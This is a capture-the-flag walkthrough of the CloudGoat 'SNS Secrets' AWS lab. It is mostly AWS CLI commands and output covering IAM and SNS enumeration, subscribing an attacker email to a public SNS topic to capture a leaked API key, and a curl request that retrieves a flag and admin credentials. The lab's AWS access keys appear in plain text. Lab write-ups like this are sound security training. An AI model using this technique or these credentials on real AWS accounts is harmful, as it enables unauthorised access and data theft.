SNS Secrets (CloudGoat)

Quick note

  • often when we refer to attached policies it is simple a term meaning a policy (usually a managed policy) attached to a user, group, or role). So “attached policies” are typically managed policies linked to an entity.

Credentials & setting up

sns_user_access_key_id = AKIA4YM7GTDHMY5FW6QU
sns_user_secret_access_key = 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
#configure
aws configure --profile sns_user                                                            
AWS Access Key ID [None]: AKIA4YM7GTDHMY5FW6QU
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json

#whoami
aws sts get-caller-identity --profile sns_user    
{
    "UserId": "AIDA4YM7GTDHOBI5MDF3P",
    "Account": "877044078798",
    "Arn": "arn:aws:iam::877044078798:user/cg-sns-user-cgiduohs87zk12"
}

Enumeration

policy enumeration

1. List managed policies attached to the user

aws iam list-attached-user-policies --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
{
  "AttachedPolicies": []
}

2. List inline policies

aws iam list-user-policies --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
{
  "PolicyNames": [
    "cg-sns-user-policy-cgiduohs87zk12"
  ]
}

3. Retrieve the inline policy document

aws iam get-user-policy --policy-name cg-sns-user-policy-cgiduohs87zk12 --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
jsonCopyEdit{
  "UserName": "cg-sns-user-cgiduohs87zk12",
  "PolicyName": "cg-sns-user-policy-cgiduohs87zk12",
  "PolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Action": [
          "sns:Subscribe",
          "sns:Receive",
          "sns:ListSubscriptionsByTopic",
          "sns:ListTopics",
          "sns:GetTopicAttributes",
          "iam:ListGroupsForUser",
          "iam:ListUserPolicies",
          "iam:GetUserPolicy",
          "iam:ListAttachedUserPolicies",
          "apigateway:GET"
        ],
        "Effect": "Allow",
        "Resource": "*"
      },
      {
        "Action": "apigateway:GET",
        "Effect": "Deny",
        "Resource": [
          "arn:aws:apigateway:us-east-1::/apikeys",
          "arn:aws:apigateway:us-east-1::/apikeys/*",
          "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
          "arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
          "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
          "arn:aws:apigateway:us-east-1::/restapis/*/integration",
          "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
        ]
      }
    ]
  }
}

As we can see within the policy, our user does possess permissions related to SNS

What is SNS

SNS: Amazon’s Simple Notification Service

  • is a fully managed messaging service provided by AWS that enables you to send notifications or messages to a large number of subscribers or other services in a scalable and reliable way.

What does it actually do?

  • Publish messages to topics: Meaning you create SNS topics (think of them as communication channels)

  • Subscribers receive messages: Subscribers to the topic (”Communication Channel”) get the message. Subscribers can be:

    • Email Addresses

    • SMS

    • AWS Lambda functions (can be interesting)

    • HTTP/HTTPS endpoints (wenhooks)

    • SQS queues

    • Mobile push notification

With our current permissions, we can enumerate the Simple Notification Service

Enumerating SNS

1. List all SNS topics

aws sns list-topics --profile sns_user
{
  "Topics": [
    {
      "TopicArn": "arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12"
    }
  ]
}

2. List subscriptions for the topic

aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --profile sns_user
{
  "Subscriptions": []
}

No subscriptions are currently associated with this topic.


3. View configuration details for the topic

aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --profile sns_user
jsonCopyEdit{
  "Attributes": {
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sns:Subscribe\",\"sns:Receive\",\"sns:ListSubscriptionsByTopic\"],\"Resource\":\"arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12\"}]}",
    "LambdaSuccessFeedbackSampleRate": "0",
    "Owner": "877044078798",
    "SubscriptionsPending": "0",
    "TopicArn": "arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12",
    "EffectiveDeliveryPolicy": "{\"http\":{\"defaultHealthyRetryPolicy\":{\"minDelayTarget\":20,\"maxDelayTarget\":20,\"numRetries\":3,\"numMaxDelayRetries\":0,\"numNoDelayRetries\":0,\"numMinDelayRetries\":0,\"backoffFunction\":\"linear\"},\"disableSubscriptionOverrides\":false,\"defaultRequestPolicy\":{\"headerContentType\":\"text/plain; charset=UTF-8\"}}}",
    "FirehoseSuccessFeedbackSampleRate": "0",
    "SubscriptionsConfirmed": "0",
    "SQSSuccessFeedbackSampleRate": "0",
    "HTTPSuccessFeedbackSampleRate": "0",
    "ApplicationSuccessFeedbackSampleRate": "0",
    "DisplayName": "",
    "SubscriptionsDeleted": "0"
  }
}

We can see from the meta data there is a policy included for this particular topic

"Policy": "{
  \"Version\": \"2012-10-17\",
  \"Statement\": [
    {
      \"Effect\": \"Allow\",
      \"Principal\": \"*\",
      \"Action\": [\"sns:Subscribe\", \"sns:Receive\", \"sns:ListSubscriptionsByTopic\"],
      \"Resource\": \"arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12\"
    }
  ]
}"

this is the access control policy for the SNS topic

security implications: this allows any (”*” Principal) to

  • subscribe to the topic

  • Receive messages from it

  • List who else is subscribed

This makes the topic (communication channel) publicly accessible and is generally insecure unless it’s intentional (i.e., for public event broadcasting)

Our next step would be to subscribe to this topic

  1. For the following, i will use a disposable email address from https://www.sharklasers.com/inbox

  2. Subscribing to the topic we found during the SNS enumeration

    aws sns subscribe --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --protocol email --notification-endpoint attacker@sharklasers.com --region us-east-1 --profile sns_user
    {
        "SubscriptionArn": "pending confirmation"
    }

    To continue, we will need to log in to our email endpoint

after confirming, we can see within the AWS console that our endpoint is subscribed

  1. Now, if we wait a few minutes, we get an AWS notification message

    we can query API Gateway REST APIs to find possible paths

aws apigateway get-rest-apis --region us-east-1 --profile sns_user 
{
    "items": [
        {
            "id": "kdf4gvzn4g",
            "name": "cg-api-cgiduohs87zk12",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2025-07-09T22:43:36+10:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "q6qk2gfrjg"
        }
    ]
}
  1. Enumerating API resources

    With our newly found REST API we can enumerate for any sensitives API resources

    aws apigateway get-resources \
    > --rest-api-id kdf4gvzn4g \
    > --region us-east-1 \
    > --profile sns_user 
    {
        "items": [
            {
                "id": "nh1873",
                "parentId": "q6qk2gfrjg",
                "pathPart": "user-data",
                "path": "/user-data",
                "resourceMethods": {
                    "GET": {}
                }
            },
            {
                "id": "q6qk2gfrjg",
                "path": "/"
            }
        ]
    }
    

    We can see we have discovered a API endpoint, before we can we can interact with the endpoint we still need to determine the deployment stage

    aws apigateway get-stages \
    > --rest-api-id kdf4gvzn4g \
    > --region us-east-1 \
    > --profile sns_user
    {
        "item": [
            {
                "deploymentId": "ufto59",
                "stageName": "prod-cgiduohs87zk12",
                "cacheClusterEnabled": false,
                "cacheClusterStatus": "NOT_AVAILABLE",
                "methodSettings": {},
                "tracingEnabled": false,
                "tags": {
                    "Scenario": "iam_privesc_by_key_rotation",
                    "Stack": "CloudGoat"
                },
                "createdDate": "2025-07-09T22:43:41+10:00",
                "lastUpdatedDate": "2025-07-09T22:43:41+10:00"
            }
        ]
    }
    

    Awesome, we now have the stageName we can continue to query the /user-data endpoint

  2. Query the /user-data Endpoint with the API key

    we can craft a request with curl

    curl -H "x-api-key: 45a3da610dc64703b10e273a4db135bf" \
         https://kdf4gvzn4g.execute-api.us-east-1.amazonaws.com/prod-cgiduohs87zk12/user-data
    {"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}}

    And with this, we have found both the flag and the admin's credentials.

Last updated